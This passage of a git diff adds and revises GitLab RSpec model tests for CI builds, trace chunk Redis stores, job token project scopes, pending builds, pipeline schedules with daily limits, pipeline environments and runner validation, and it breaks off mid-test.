+ it 'groups build ids' do
+ expect(matchers.map(&:build_ids)).to match_array([
+ [build_without_tags.id],
+ match_array([build_with_tags.id, other_build_with_tags.id])
+ ])
+ end
+
+ it { expect(matchers.map(&:tag_list)).to match_array([[], %w[tag1 tag2]]) }
+
+ it { expect(matchers.map(&:protected?)).to all be_falsey }
+
+ context 'when the builds are protected' do
+ before do
+ pipeline.builds.update_all(protected: true)
+ end
+
+ it { expect(matchers).to all be_protected }
+ end
+ end
+ end
+
+ describe '#build_matcher' do
+ let_it_be(:build) do
+ build_stubbed(:ci_build, tag_list: %w[tag1 tag2])
+ end
+
+ subject(:matcher) { build.build_matcher }
+
+ it { expect(matcher.build_ids).to eq([build.id]) }
+
+ it { expect(matcher.tag_list).to match_array(%w[tag1 tag2]) }
+
+ it { expect(matcher.protected?).to eq(build.protected?) }
+
+ it { expect(matcher.project).to eq(build.project) }
+ end
+
+ describe '#shared_runner_build?' do
+ context 'when build does not have a runner assigned' do
+ it 'is not a shared runner build' do
+ expect(build.runner).to be_nil
+
+ expect(build).not_to be_shared_runner_build
+ end
+ end
+
+ context 'when build has a project runner assigned' do
+ before do
+ build.runner = create(:ci_runner, :project)
+ end
+
+ it 'is not a shared runner build' do
+ expect(build).not_to be_shared_runner_build
+ end
+ end
+
+ context 'when build has an instance runner assigned' do
+ before do
+ build.runner = create(:ci_runner, :instance_type)
+ end
+
+ it 'is a shared runner build' do
+ expect(build).to be_shared_runner_build
+ end
+ end
+ end
+
+ describe '.without_coverage' do
+ let!(:build_with_coverage) { create(:ci_build, pipeline: pipeline, coverage: 100.0) }
+
+ it 'returns builds without coverage values' do
+ expect(described_class.without_coverage).to eq([build])
+ end
+ end
+
+ describe '.with_coverage_regex' do
+ let!(:build_with_coverage_regex) { create(:ci_build, pipeline: pipeline, coverage_regex: '\d') }
+
+ it 'returns builds with coverage regex values' do
+ expect(described_class.with_coverage_regex).to eq([build_with_coverage_regex])
+ end
+ end
end
diff --git a/spec/models/ci/build_trace_chunk_spec.rb b/spec/models/ci/build_trace_chunk_spec.rb
index 12bc5d9aa3c..a16453f3d01 100644
--- a/spec/models/ci/build_trace_chunk_spec.rb
+++ b/spec/models/ci/build_trace_chunk_spec.rb
@@ -2,13 +2,13 @@
require 'spec_helper'
-RSpec.describe Ci::BuildTraceChunk, :clean_gitlab_redis_shared_state do
+RSpec.describe Ci::BuildTraceChunk, :clean_gitlab_redis_shared_state, :clean_gitlab_redis_trace_chunks do
include ExclusiveLeaseHelpers
let_it_be(:build) { create(:ci_build, :running) }
let(:chunk_index) { 0 }
- let(:data_store) { :redis }
+ let(:data_store) { :redis_trace_chunks }
let(:raw_data) { nil }
let(:build_trace_chunk) do
@@ -18,10 +18,17 @@ RSpec.describe Ci::BuildTraceChunk, :clean_gitlab_redis_shared_state do
it_behaves_like 'having unique enum values'
before do
- stub_feature_flags(ci_enable_live_trace: true, gitlab_ci_trace_read_consistency: true)
+ stub_feature_flags(ci_enable_live_trace: true)
stub_artifacts_object_storage
end
+ def redis_instance
+ {
+ redis: Gitlab::Redis::SharedState,
+ redis_trace_chunks: Gitlab::Redis::TraceChunks
+ }[data_store]
+ end
+
describe 'chunk creation' do
let(:metrics) { spy('metrics') }
@@ -85,7 +92,7 @@ RSpec.describe Ci::BuildTraceChunk, :clean_gitlab_redis_shared_state do
end
def external_data_counter
- Gitlab::Redis::SharedState.with do |redis|
+ redis_instance.with do |redis|
redis.scan_each(match: "gitlab:ci:trace:*:chunks:*").to_a.size
end
end
@@ -101,24 +108,16 @@ RSpec.describe Ci::BuildTraceChunk, :clean_gitlab_redis_shared_state do
subject { described_class.all_stores }
it 'returns a correctly ordered array' do
- is_expected.to eq(%i[redis database fog])
- end
-
- it 'returns redis store as the lowest precedence' do
- expect(subject.first).to eq(:redis)
- end
-
- it 'returns fog store as the highest precedence' do
- expect(subject.last).to eq(:fog)
+ is_expected.to eq(%i[redis database fog redis_trace_chunks])
end
end
describe '#data' do
subject { build_trace_chunk.data }
- context 'when data_store is redis' do
- let(:data_store) { :redis }
+ where(:data_store) { %i[redis redis_trace_chunks] }
+ with_them do
before do
build_trace_chunk.send(:unsafe_set_data!, +'Sample data in redis')
end
@@ -148,6 +147,22 @@ RSpec.describe Ci::BuildTraceChunk, :clean_gitlab_redis_shared_state do
end
end
+ describe '#data_store' do
+ subject { described_class.new.data_store }
+
+ context 'default value' do
+ it { expect(subject).to eq('redis_trace_chunks') }
+
+ context 'when dedicated_redis_trace_chunks is disabled' do
+ before do
+ stub_feature_flags(dedicated_redis_trace_chunks: false)
+ end
+
+ it { expect(subject).to eq('redis') }
+ end
+ end
+ end
+
describe '#get_store_class' do
using RSpec::Parameterized::TableSyntax
@@ -155,6 +170,7 @@ RSpec.describe Ci::BuildTraceChunk, :clean_gitlab_redis_shared_state do
:redis | Ci::BuildTraceChunks::Redis
:database | Ci::BuildTraceChunks::Database
:fog | Ci::BuildTraceChunks::Fog
+ :redis_trace_chunks | Ci::BuildTraceChunks::RedisTraceChunks
end
with_them do
@@ -302,9 +318,9 @@ RSpec.describe Ci::BuildTraceChunk, :clean_gitlab_redis_shared_state do
end
end
- context 'when data_store is redis' do
- let(:data_store) { :redis }
+ where(:data_store) { %i[redis redis_trace_chunks] }
+ with_them do
context 'when there are no data' do
let(:data) { +'' }
@@ -441,8 +457,9 @@ RSpec.describe Ci::BuildTraceChunk, :clean_gitlab_redis_shared_state do
end
end
- context 'when data_store is redis' do
- let(:data_store) { :redis }
+ where(:data_store) { %i[redis redis_trace_chunks] }
+
+ with_them do
let(:data) { +'Sample data in redis' }
before do
@@ -475,9 +492,9 @@ RSpec.describe Ci::BuildTraceChunk, :clean_gitlab_redis_shared_state do
describe '#size' do
subject { build_trace_chunk.size }
- context 'when data_store is redis' do
- let(:data_store) { :redis }
+ where(:data_store) { %i[redis redis_trace_chunks] }
+ with_them do
context 'when data exists' do
let(:data) { +'Sample data in redis' }
@@ -537,9 +554,14 @@ RSpec.describe Ci::BuildTraceChunk, :clean_gitlab_redis_shared_state do
subject { build_trace_chunk.persist_data! }
- context 'when data_store is redis' do
- let(:data_store) { :redis }
+ where(:data_store, :redis_class) do
+ [
+ [:redis, Ci::BuildTraceChunks::Redis],
+ [:redis_trace_chunks, Ci::BuildTraceChunks::RedisTraceChunks]
+ ]
+ end
+ with_them do
context 'when data exists' do
before do
build_trace_chunk.send(:unsafe_set_data!, data)
@@ -549,15 +571,15 @@ RSpec.describe Ci::BuildTraceChunk, :clean_gitlab_redis_shared_state do
let(:data) { +'a' * described_class::CHUNK_SIZE }
it 'persists the data' do
- expect(build_trace_chunk.redis?).to be_truthy
- expect(Ci::BuildTraceChunks::Redis.new.data(build_trace_chunk)).to eq(data)
+ expect(build_trace_chunk.data_store).to eq(data_store.to_s)
+ expect(redis_class.new.data(build_trace_chunk)).to eq(data)
expect(Ci::BuildTraceChunks::Database.new.data(build_trace_chunk)).to be_nil
expect(Ci::BuildTraceChunks::Fog.new.data(build_trace_chunk)).to be_nil
subject
expect(build_trace_chunk.fog?).to be_truthy
- expect(Ci::BuildTraceChunks::Redis.new.data(build_trace_chunk)).to be_nil
+ expect(redis_class.new.data(build_trace_chunk)).to be_nil
expect(Ci::BuildTraceChunks::Database.new.data(build_trace_chunk)).to be_nil
expect(Ci::BuildTraceChunks::Fog.new.data(build_trace_chunk)).to eq(data)
end
@@ -575,8 +597,8 @@ RSpec.describe Ci::BuildTraceChunk, :clean_gitlab_redis_shared_state do
it 'does not persist the data and the orignal data is intact' do
expect { subject }.to raise_error(described_class::FailedToPersistDataError)
- expect(build_trace_chunk.redis?).to be_truthy
- expect(Ci::BuildTraceChunks::Redis.new.data(build_trace_chunk)).to eq(data)
+ expect(build_trace_chunk.data_store).to eq(data_store.to_s)
+ expect(redis_class.new.data(build_trace_chunk)).to eq(data)
expect(Ci::BuildTraceChunks::Database.new.data(build_trace_chunk)).to be_nil
expect(Ci::BuildTraceChunks::Fog.new.data(build_trace_chunk)).to be_nil
end
@@ -810,7 +832,7 @@ RSpec.describe Ci::BuildTraceChunk, :clean_gitlab_redis_shared_state do
shared_examples_for 'deletes all build_trace_chunk and data in redis' do
it 'deletes all build_trace_chunk and data in redis', :sidekiq_might_not_need_inline do
- Gitlab::Redis::SharedState.with do |redis|
+ redis_instance.with do |redis|
expect(redis.scan_each(match: "gitlab:ci:trace:*:chunks:*").to_a.size).to eq(3)
end
@@ -820,7 +842,7 @@ RSpec.describe Ci::BuildTraceChunk, :clean_gitlab_redis_shared_state do
expect(described_class.count).to eq(0)
- Gitlab::Redis::SharedState.with do |redis|
+ redis_instance.with do |redis|
expect(redis.scan_each(match: "gitlab:ci:trace:*:chunks:*").to_a.size).to eq(0)
end
end
@@ -902,4 +924,38 @@ RSpec.describe Ci::BuildTraceChunk, :clean_gitlab_redis_shared_state do
end
end
end
+
+ describe '#live?' do
+ subject { build_trace_chunk.live? }
+
+ where(:data_store, :value) do
+ [
+ [:redis, true],
+ [:redis_trace_chunks, true],
+ [:database, false],
+ [:fog, false]
+ ]
+ end
+
+ with_them do
+ it { is_expected.to eq(value) }
+ end
+ end
+
+ describe '#flushed?' do
+ subject { build_trace_chunk.flushed? }
+
+ where(:data_store, :value) do
+ [
+ [:redis, false],
+ [:redis_trace_chunks, false],
+ [:database, true],
+ [:fog, true]
+ ]
+ end
+
+ with_them do
+ it { is_expected.to eq(value) }
+ end
+ end
end
diff --git a/spec/models/ci/build_trace_chunks/database_spec.rb b/spec/models/ci/build_trace_chunks/database_spec.rb
index 313328ac037..d99aede853c 100644
--- a/spec/models/ci/build_trace_chunks/database_spec.rb
+++ b/spec/models/ci/build_trace_chunks/database_spec.rb
@@ -5,12 +5,6 @@ require 'spec_helper'
RSpec.describe Ci::BuildTraceChunks::Database do
let(:data_store) { described_class.new }
- describe '#available?' do
- subject { data_store.available? }
-
- it { is_expected.to be_truthy }
- end
-
describe '#data' do
subject { data_store.data(model) }
diff --git a/spec/models/ci/build_trace_chunks/redis_spec.rb b/spec/models/ci/build_trace_chunks/redis_spec.rb
index cb0b6baadeb..c004887d609 100644
--- a/spec/models/ci/build_trace_chunks/redis_spec.rb
+++ b/spec/models/ci/build_trace_chunks/redis_spec.rb
@@ -5,12 +5,6 @@ require 'spec_helper'
RSpec.describe Ci::BuildTraceChunks::Redis, :clean_gitlab_redis_shared_state do
let(:data_store) { described_class.new }
- describe '#available?' do
- subject { data_store.available? }
-
- it { is_expected.to be_truthy }
- end
-
describe '#data' do
subject { data_store.data(model) }
diff --git a/spec/models/ci/job_artifact_spec.rb b/spec/models/ci/job_artifact_spec.rb
index 3c4769764d5..582639b105e 100644
--- a/spec/models/ci/job_artifact_spec.rb
+++ b/spec/models/ci/job_artifact_spec.rb
@@ -328,35 +328,9 @@ RSpec.describe Ci::JobArtifact do
end
end
- describe 'validates if file format is supported' do
- subject { artifact }
-
- let(:artifact) { build(:ci_job_artifact, file_type: :license_management, file_format: :raw) }
-
- context 'when license_management is supported' do
- before do
- stub_feature_flags(drop_license_management_artifact: false)
- end
-
- it { is_expected.to be_valid }
- end
-
- context 'when license_management is not supported' do
- before do
- stub_feature_flags(drop_license_management_artifact: true)
- end
-
- it { is_expected.not_to be_valid }
- end
- end
-
describe 'validates file format' do
subject { artifact }
- before do
- stub_feature_flags(drop_license_management_artifact: false)
- end
-
described_class::TYPE_AND_FORMAT_PAIRS.except(:trace).each do |file_type, file_format|
context "when #{file_type} type with #{file_format} format" do
let(:artifact) { build(:ci_job_artifact, file_type: file_type, file_format: file_format) }
diff --git a/spec/models/ci/job_token/project_scope_link_spec.rb b/spec/models/ci/job_token/project_scope_link_spec.rb
new file mode 100644
index 00000000000..d18495b9312
--- /dev/null
+++ b/spec/models/ci/job_token/project_scope_link_spec.rb
@@ -0,0 +1,68 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Ci::JobToken::ProjectScopeLink do
+ it { is_expected.to belong_to(:source_project) }
+ it { is_expected.to belong_to(:target_project) }
+ it { is_expected.to belong_to(:added_by) }
+
+ let_it_be(:project) { create(:project) }
+
+ describe 'unique index' do
+ let!(:link) { create(:ci_job_token_project_scope_link) }
+
+ it 'raises an error' do
+ expect do
+ create(:ci_job_token_project_scope_link,
+ source_project: link.source_project,
+ target_project: link.target_project)
+ end.to raise_error(ActiveRecord::RecordNotUnique)
+ end
+ end
+
+ describe 'validations' do
+ it 'must have a source project', :aggregate_failures do
+ link = build(:ci_job_token_project_scope_link, source_project: nil)
+
+ expect(link).not_to be_valid
+ expect(link.errors[:source_project]).to contain_exactly("can't be blank")
+ end
+
+ it 'must have a target project', :aggregate_failures do
+ link = build(:ci_job_token_project_scope_link, target_project: nil)
+
+ expect(link).not_to be_valid
+ expect(link.errors[:target_project]).to contain_exactly("can't be blank")
+ end
+
+ it 'must have a target project different than source project', :aggregate_failures do
+ link = build(:ci_job_token_project_scope_link, target_project: project, source_project: project)
+
+ expect(link).not_to be_valid
+ expect(link.errors[:target_project]).to contain_exactly("can't be the same as the source project")
+ end
+ end
+
+ describe '.from_project' do
+ subject { described_class.from_project(project) }
+
+ let!(:source_link) { create(:ci_job_token_project_scope_link, source_project: project) }
+ let!(:target_link) { create(:ci_job_token_project_scope_link, target_project: project) }
+
+ it 'returns only the links having the given source project' do
+ expect(subject).to contain_exactly(source_link)
+ end
+ end
+
+ describe '.to_project' do
+ subject { described_class.to_project(project) }
+
+ let!(:source_link) { create(:ci_job_token_project_scope_link, source_project: project) }
+ let!(:target_link) { create(:ci_job_token_project_scope_link, target_project: project) }
+
+ it 'returns only the links having the given target project' do
+ expect(subject).to contain_exactly(target_link)
+ end
+ end
+end
diff --git a/spec/models/ci/job_token/scope_spec.rb b/spec/models/ci/job_token/scope_spec.rb
new file mode 100644
index 00000000000..c731a2634f5
--- /dev/null
+++ b/spec/models/ci/job_token/scope_spec.rb
@@ -0,0 +1,65 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Ci::JobToken::Scope do
+ let_it_be(:project) { create(:project) }
+
+ let(:scope) { described_class.new(project) }
+
+ describe '#all_projects' do
+ subject(:all_projects) { scope.all_projects }
+
+ context 'when no projects are added to the scope' do
+ it 'returns the project defining the scope' do
+ expect(all_projects).to contain_exactly(project)
+ end
+ end
+
+ context 'when other projects are added to the scope' do
+ let_it_be(:scoped_project) { create(:project) }
+ let_it_be(:unscoped_project) { create(:project) }
+
+ let!(:link_in_scope) { create(:ci_job_token_project_scope_link, source_project: project, target_project: scoped_project) }
+ let!(:link_out_of_scope) { create(:ci_job_token_project_scope_link, target_project: unscoped_project) }
+
+ it 'returns all projects that can be accessed from a given scope' do
+ expect(subject).to contain_exactly(project, scoped_project)
+ end
+ end
+ end
+
+ describe 'includes?' do
+ subject { scope.includes?(target_project) }
+
+ context 'when param is the project defining the scope' do
+ let(:target_project) { project }
+
+ it { is_expected.to be_truthy }
+ end
+
+ context 'when param is a project in scope' do
+ let(:target_link) { create(:ci_job_token_project_scope_link, source_project: project) }
+ let(:target_project) { target_link.target_project }
+
+ it { is_expected.to be_truthy }
+ end
+
+ context 'when param is a project in another scope' do
+ let(:scope_link) { create(:ci_job_token_project_scope_link) }
+ let(:target_project) { scope_link.target_project }
+
+ it { is_expected.to be_falsey }
+
+ context 'when project scope setting is disabled' do
+ before do
+ project.ci_job_token_scope_enabled = false
+ end
+
+ it 'considers any project to be part of the scope' do
+ expect(subject).to be_truthy
+ end
+ end
+ end
+ end
+end
diff --git a/spec/models/ci/pending_build_spec.rb b/spec/models/ci/pending_build_spec.rb
new file mode 100644
index 00000000000..c1d4f4b0a5e
--- /dev/null
+++ b/spec/models/ci/pending_build_spec.rb
@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Ci::PendingBuild do
+ let_it_be(:project) { create(:project) }
+ let_it_be(:pipeline) { create(:ci_pipeline, project: project) }
+
+ let(:build) { create(:ci_build, :created, pipeline: pipeline) }
+
+ describe '.upsert_from_build!' do
+ context 'another pending entry does not exist' do
+ it 'creates a new pending entry' do
+ result = described_class.upsert_from_build!(build)
+
+ expect(result.rows.dig(0, 0)).to eq build.id
+ expect(build.reload.queuing_entry).to be_present
+ end
+ end
+
+ context 'when another queuing entry exists for given build' do
+ before do
+ described_class.create!(build: build, project: project, protected: false)
+ end
+
+ it 'returns a build id as a result' do
+ result = described_class.upsert_from_build!(build)
+
+ expect(result.rows.dig(0, 0)).to eq build.id
+ end
+ end
+ end
+end
diff --git a/spec/models/ci/pipeline_schedule_spec.rb b/spec/models/ci/pipeline_schedule_spec.rb
index d5560edbbfd..cf73460bf1e 100644
--- a/spec/models/ci/pipeline_schedule_spec.rb
+++ b/spec/models/ci/pipeline_schedule_spec.rb
@@ -3,6 +3,8 @@
require 'spec_helper'
RSpec.describe Ci::PipelineSchedule do
+ let_it_be(:project) { create_default(:project) }
+
subject { build(:ci_pipeline_schedule) }
it { is_expected.to belong_to(:project) }
@@ -18,7 +20,7 @@ RSpec.describe Ci::PipelineSchedule do
it { is_expected.to respond_to(:next_run_at) }
it_behaves_like 'includes Limitable concern' do
- subject { build(:ci_pipeline_schedule) }
+ subject { build(:ci_pipeline_schedule, project: project) }
end
describe 'validations' do
@@ -103,26 +105,49 @@ RSpec.describe Ci::PipelineSchedule do
end
describe '#set_next_run_at' do
- let(:pipeline_schedule) { create(:ci_pipeline_schedule, :nightly) }
- let(:ideal_next_run_at) { pipeline_schedule.send(:ideal_next_run_from, Time.zone.now) }
- let(:cron_worker_next_run_at) { pipeline_schedule.send(:cron_worker_next_run_from, Time.zone.now) }
+ using RSpec::Parameterized::TableSyntax
+
+ where(:worker_cron, :schedule_cron, :plan_limit, :ff_enabled, :now, :result) do
+ '0 1 2 3 *' | '0 1 * * *' | nil | true | Time.zone.local(2021, 3, 2, 1, 0) | Time.zone.local(2022, 3, 2, 1, 0)
+ '0 1 2 3 *' | '0 1 * * *' | (1.day.in_minutes / 1.hour.in_minutes).to_i | true | Time.zone.local(2021, 3, 2, 1, 0) | Time.zone.local(2022, 3, 2, 1, 0)
+ '0 1 2 3 *' | '0 1 * * *' | (1.day.in_minutes / 1.hour.in_minutes).to_i | false | Time.zone.local(2021, 3, 2, 1, 0) | Time.zone.local(2022, 3, 2, 1, 0)
+ '*/5 * * * *' | '*/1 * * * *' | nil | true | Time.zone.local(2021, 5, 27, 11, 0) | Time.zone.local(2021, 5, 27, 11, 5)
+ '*/5 * * * *' | '*/1 * * * *' | (1.day.in_minutes / 1.hour.in_minutes).to_i | true | Time.zone.local(2021, 5, 27, 11, 0) | Time.zone.local(2021, 5, 27, 12, 0)
+ '*/5 * * * *' | '*/1 * * * *' | (1.day.in_minutes / 1.hour.in_minutes).to_i | false | Time.zone.local(2021, 5, 27, 11, 0) | Time.zone.local(2021, 5, 27, 11, 5)
+ '*/5 * * * *' | '*/1 * * * *' | (1.day.in_minutes / 10).to_i | true | Time.zone.local(2021, 5, 27, 11, 0) | Time.zone.local(2021, 5, 27, 11, 10)
+ '*/5 * * * *' | '*/1 * * * *' | 200 | true | Time.zone.local(2021, 5, 27, 11, 0) | Time.zone.local(2021, 5, 27, 11, 10)
+ '*/5 * * * *' | '*/1 * * * *' | 200 | false | Time.zone.local(2021, 5, 27, 11, 0) | Time.zone.local(2021, 5, 27, 11, 5)
+ '*/5 * * * *' | '0 * * * *' | nil | true | Time.zone.local(2021, 5, 27, 11, 0) | Time.zone.local(2021, 5, 27, 12, 5)
+ '*/5 * * * *' | '0 * * * *' | (1.day.in_minutes / 10).to_i | true | Time.zone.local(2021, 5, 27, 11, 0) | Time.zone.local(2021, 5, 27, 12, 0)
+ '*/5 * * * *' | '0 * * * *' | (1.day.in_minutes / 10).to_i | false | Time.zone.local(2021, 5, 27, 11, 0) | Time.zone.local(2021, 5, 27, 12, 5)
+ '*/5 * * * *' | '0 * * * *' | (1.day.in_minutes / 1.hour.in_minutes).to_i | true | Time.zone.local(2021, 5, 27, 11, 0) | Time.zone.local(2021, 5, 27, 12, 0)
+ '*/5 * * * *' | '0 * * * *' | (1.day.in_minutes / 2.hours.in_minutes).to_i | true | Time.zone.local(2021, 5, 27, 11, 0) | Time.zone.local(2021, 5, 27, 12, 5)
+ '*/5 * * * *' | '0 1 * * *' | (1.day.in_minutes / 1.hour.in_minutes).to_i | true | Time.zone.local(2021, 5, 27, 1, 0) | Time.zone.local(2021, 5, 28, 1, 0)
+ '*/5 * * * *' | '0 1 * * *' | (1.day.in_minutes / 1.hour.in_minutes).to_i | true | Time.zone.local(2021, 5, 27, 1, 0) | Time.zone.local(2021, 5, 28, 1, 0)
+ '*/5 * * * *' | '0 1 1 * *' | (1.day.in_minutes / 1.hour.in_minutes).to_i | true | Time.zone.local(2021, 5, 1, 1, 0) | Time.zone.local(2021, 6, 1, 1, 0)
+ end
+
+ with_them do
+ let(:pipeline_schedule) { create(:ci_pipeline_schedule, cron: schedule_cron) }
- context 'when PipelineScheduleWorker runs at a specific interval' do
before do
allow(Settings).to receive(:cron_jobs) do
- {
- 'pipeline_schedule_worker' => {
- 'cron' => '0 1 2 3 *'
- }
- }
+ { 'pipeline_schedule_worker' => { 'cron' => worker_cron } }
end
+
+ create(:plan_limits, :default_plan, ci_daily_pipeline_schedule_triggers: plan_limit) if plan_limit
+ stub_feature_flags(ci_daily_limit_for_pipeline_schedules: false) unless ff_enabled
+
+ # Setting this here to override initial save with the current time
+ pipeline_schedule.next_run_at = now
end
- it "updates next_run_at to the sidekiq worker's execution time" do
- expect(pipeline_schedule.next_run_at.min).to eq(0)
- expect(pipeline_schedule.next_run_at.hour).to eq(1)
- expect(pipeline_schedule.next_run_at.day).to eq(2)
- expect(pipeline_schedule.next_run_at.month).to eq(3)
+ it 'updates next_run_at' do
+ travel_to(now) do
+ pipeline_schedule.set_next_run_at
+
+ expect(pipeline_schedule.next_run_at).to eq(result)
+ end
end
end
@@ -176,4 +201,26 @@ RSpec.describe Ci::PipelineSchedule do
it { is_expected.to contain_exactly(*pipeline_schedule_variables.map(&:to_runner_variable)) }
end
+
+ describe '#daily_limit' do
+ let(:pipeline_schedule) { build(:ci_pipeline_schedule) }
+
+ subject(:daily_limit) { pipeline_schedule.daily_limit }
+
+ context 'when there is no limit' do
+ before do
+ create(:plan_limits, :default_plan, ci_daily_pipeline_schedule_triggers: 0)
+ end
+
+ it { is_expected.to be_nil }
+ end
+
+ context 'when there is a limit' do
+ before do
+ create(:plan_limits, :default_plan, ci_daily_pipeline_schedule_triggers: 144)
+ end
+
+ it { is_expected.to eq(144) }
+ end
+ end
end
diff --git a/spec/models/ci/pipeline_spec.rb b/spec/models/ci/pipeline_spec.rb
index b9457055a18..72af40e31e0 100644
--- a/spec/models/ci/pipeline_spec.rb
+++ b/spec/models/ci/pipeline_spec.rb
@@ -744,6 +744,42 @@ RSpec.describe Ci::Pipeline, :mailer, factory_default: :keep do
end
end
+ describe '#update_builds_coverage' do
+ let_it_be(:pipeline) { create(:ci_empty_pipeline) }
+
+ context 'builds with coverage_regex defined' do
+ let!(:build_1) { create(:ci_build, :success, :trace_with_coverage, trace_coverage: 60.0, pipeline: pipeline) }
+ let!(:build_2) { create(:ci_build, :success, :trace_with_coverage, trace_coverage: 80.0, pipeline: pipeline) }
+
+ it 'updates the coverage value of each build from the trace' do
+ pipeline.update_builds_coverage
+
+ expect(build_1.reload.coverage).to eq(60.0)
+ expect(build_2.reload.coverage).to eq(80.0)
+ end
+ end
+
+ context 'builds without coverage_regex defined' do
+ let!(:build) { create(:ci_build, :success, :trace_with_coverage, coverage_regex: nil, trace_coverage: 60.0, pipeline: pipeline) }
+
+ it 'does not update the coverage value of each build from the trace' do
+ pipeline.update_builds_coverage
+
+ expect(build.reload.coverage).to eq(nil)
+ end
+ end
+
+ context 'builds with coverage values already present' do
+ let!(:build) { create(:ci_build, :success, :trace_with_coverage, trace_coverage: 60.0, coverage: 10.0, pipeline: pipeline) }
+
+ it 'does not update the coverage value of each build from the trace' do
+ pipeline.update_builds_coverage
+
+ expect(build.reload.coverage).to eq(10.0)
+ end
+ end
+ end
+
describe '#retryable?' do
subject { pipeline.retryable? }
@@ -2726,7 +2762,7 @@ RSpec.describe Ci::Pipeline, :mailer, factory_default: :keep do
pipeline2.cancel_running
end
- extra_update_queries = 3 # transition ... => :canceled
+ extra_update_queries = 4 # transition ... => :canceled, queue pop
extra_generic_commit_status_validation_queries = 2 # name_uniqueness_across_types
expect(control2.count).to eq(control1.count + extra_update_queries + extra_generic_commit_status_validation_queries)
@@ -3162,6 +3198,81 @@ RSpec.describe Ci::Pipeline, :mailer, factory_default: :keep do
end
end
+ describe '#environments_in_self_and_descendants' do
+ subject { pipeline.environments_in_self_and_descendants }
+
+ context 'when pipeline is not child nor parent' do
+ let_it_be(:pipeline) { create(:ci_pipeline, :created) }
+ let_it_be(:build) { create(:ci_build, :with_deployment, :deploy_to_production, pipeline: pipeline) }
+
+ it 'returns just the pipeline environment' do
+ expect(subject).to contain_exactly(build.deployment.environment)
+ end
+ end
+
+ context 'when pipeline is in extended family' do
+ let_it_be(:parent) { create(:ci_pipeline) }
+ let_it_be(:parent_build) { create(:ci_build, :with_deployment, environment: 'staging', pipeline: parent) }
+
+ let_it_be(:pipeline) { create(:ci_pipeline, child_of: parent) }
+ let_it_be(:build) { create(:ci_build, :with_deployment, :deploy_to_production, pipeline: pipeline) }
+
+ let_it_be(:child) { create(:ci_pipeline, child_of: pipeline) }
+ let_it_be(:child_build) { create(:ci_build, :with_deployment, environment: 'canary', pipeline: child) }
+
+ let_it_be(:grandchild) { create(:ci_pipeline, child_of: child) }
+ let_it_be(:grandchild_build) { create(:ci_build, :with_deployment, environment: 'test', pipeline: grandchild) }
+
+ let_it_be(:sibling) { create(:ci_pipeline, child_of: parent) }
+ let_it_be(:sibling_build) { create(:ci_build, :with_deployment, environment: 'review', pipeline: sibling) }
+
+ it 'returns its own environment and from all descendants' do
+ expected_environments = [
+ build.deployment.environment,
+ child_build.deployment.environment,
+ grandchild_build.deployment.environment
+ ]
+ expect(subject).to match_array(expected_environments)
+ end
+
+ it 'does not return parent environment' do
+ expect(subject).not_to include(parent_build.deployment.environment)
+ end
+
+ it 'does not return sibling environment' do
+ expect(subject).not_to include(sibling_build.deployment.environment)
+ end
+ end
+
+ context 'when each pipeline has multiple environments' do
+ let_it_be(:pipeline) { create(:ci_pipeline, :created) }
+ let_it_be(:build1) { create(:ci_build, :with_deployment, :deploy_to_production, pipeline: pipeline) }
+ let_it_be(:build2) { create(:ci_build, :with_deployment, environment: 'staging', pipeline: pipeline) }
+
+ let_it_be(:child) { create(:ci_pipeline, child_of: pipeline) }
+ let_it_be(:child_build1) { create(:ci_build, :with_deployment, environment: 'canary', pipeline: child) }
+ let_it_be(:child_build2) { create(:ci_build, :with_deployment, environment: 'test', pipeline: child) }
+
+ it 'returns all related environments' do
+ expected_environments = [
+ build1.deployment.environment,
+ build2.deployment.environment,
+ child_build1.deployment.environment,
+ child_build2.deployment.environment
+ ]
+ expect(subject).to match_array(expected_environments)
+ end
+ end
+
+ context 'when pipeline has no environment' do
+ let_it_be(:pipeline) { create(:ci_pipeline, :created) }
+
+ it 'returns empty' do
+ expect(subject).to be_empty
+ end
+ end
+ end
+
describe '#root_ancestor' do
subject { pipeline.root_ancestor }
@@ -4512,4 +4623,17 @@ RSpec.describe Ci::Pipeline, :mailer, factory_default: :keep do
.not_to exceed_query_limit(control_count)
end
end
+
+ describe '#build_matchers' do
+ let_it_be(:pipeline) { create(:ci_pipeline) }
+ let_it_be(:builds) { create_list(:ci_build, 2, pipeline: pipeline, project: pipeline.project) }
+
+ subject(:matchers) { pipeline.build_matchers }
+
+ it 'returns build matchers' do
+ expect(matchers.size).to eq(1)
+ expect(matchers).to all be_a(Gitlab::Ci::Matching::BuildMatcher)
+ expect(matchers.first.build_ids).to match_array(builds.map(&:id))
+ end
+ end
end
diff --git a/spec/models/ci/runner_spec.rb b/spec/models/ci/runner_spec.rb
index ffe0b0d0b19..61f80bd43b1 100644
--- a/spec/models/ci/runner_spec.rb
+++ b/spec/models/ci/runner_spec.rb
@@ -75,6 +75,22 @@ RSpec.describe Ci::Runner do
expect { create(:group, runners: [project_runner]) }
.to raise_error(ActiveRecord::RecordInvalid)
end
+
+ context 'when runner has config' do
+ it 'is valid' do
+ runner = build(:ci_runner, config: { gpus: "all" })
+
+ expect(runner).to be_valid
+ end
+ end
+
+ context 'when runner has an invalid config' do
+ it 'is invalid' do
+ runner = build(:ci_runner, config: { test: 1 })
+
+ expect(runner).not_to be_valid
+ end
+ end
end
context 'cost factors validations' do
@@ -257,6 +273,20 @@ RSpec.describe Ci::Runner do
end
end
+ describe '.recent' do
+ subject { described_class.recent }
+
+ before do
+ @runner1 = create(:ci_runner, :instance, contacted_at: nil, created_at: 2.months.ago)
+ @runner2 = create(:ci_runner, :instance, contacted_at: nil, created_at: 3.months.ago)
+ @runner3 = create(:ci_runner, :instance, contacted_at: 1.month.ago, created_at: 2.months.ago)
+ @runner4 = create(:ci_runner, :instance, contacted_at: 1.month.ago, created_at: 3.months.ago)
+ @runner5 = create(:ci_runner, :instance, contacted_at: 3.months.ago, created_at: 5.months.ago)
+ end
+
+ it { is_expected.to eq([@runner1, @runner3, @runner4])}
+ end
+
describe '.online' do
subject { described_class.online }
@@ -349,6 +379,22 @@ RSpec.describe Ci::Runner do
it { is_expected.to eq([@runner1])}
end
+ describe '#tick_runner_queue' do
+ it 'sticks the runner to the primary and calls the original method' do
+ runner = create(:ci_runner)
+
+ allow(Gitlab::Database::LoadBalancing).to receive(:enable?)
+ .and_return(true)
+
+ expect(Gitlab::Database::LoadBalancing::Sticking).to receive(:stick)
